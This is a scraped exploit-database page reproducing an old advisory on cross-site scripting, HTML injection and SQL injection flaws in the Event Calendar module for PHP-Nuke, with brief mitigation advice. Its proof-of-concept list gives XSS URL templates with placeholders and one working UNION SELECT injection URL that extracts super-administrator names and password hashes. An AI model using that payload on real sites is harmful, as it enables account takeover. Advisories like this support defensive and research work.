Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
Event Calendar Multiple Input Validation Vulnerabilities - exploit.company
header-logo
Suggest Exploit
vendor:
Event Calendar
by:
Unknown
7.5
CVSS
HIGH
HTML Injection, Cross-Site Scripting, SQL Injection
79, 89
CWE
Product Name: Event Calendar
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: No
Related CWE:
CPE: a:event_calendar
Metasploit:
Other Scripts:
Platforms Tested: Unknown
Unknown

Event Calendar Multiple Input Validation Vulnerabilities

The Event Calendar software is prone to multiple input validation vulnerabilities, including HTML injection and cross-site scripting. These vulnerabilities can be exploited to execute hostile HTML and script content in the browser of a victim user, extract sensitive information from the database, and execute attacker-supplied HTML and script content in the browser of the victim user.

Mitigation:

Apply the latest patches or updates provided by the vendor. Filter user-supplied input to prevent HTML injection and cross-site scripting attacks. Use parameterized queries or prepared statements to prevent SQL injection attacks.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11693/info

Event Calendar is prone to multiple input validation vulnerabilities. These issues include HTML injection and cross-site scripting. The following specific vulnerabilities were reported:

A cross-site scripting vulnerability is exposed through certain NukeCalendar URI parameters. This issue could be exploited via a malicious link to a site hosting the software to execute hostile HTML and script content in the browser of a victim user.

A HTML injection vulnerability is reported to affect the events comments input forms. This issue could be exploited when an unsuspecting user views a malicious event comment, this will result in attacker-supplied HTML and script content executing in the browser of the victim user.

An SQL injection vulnerability is also present through URI parameters of the affected software, which includes unsanitized user input in database queries. This may be exploited to extract sensitive information from the database.

http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&type=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&day=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&month=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&year=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&type=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=index&type=view&eid=-99%20UNION%20ALL%20SELECT%201,1,aid,1,pwd,1,1,1,1,1,1,1,1,1,1%20FROM%20nuke_authors%20WHERE%20radminsuper=1

Navigation

Suggest Exploit

Services By CQR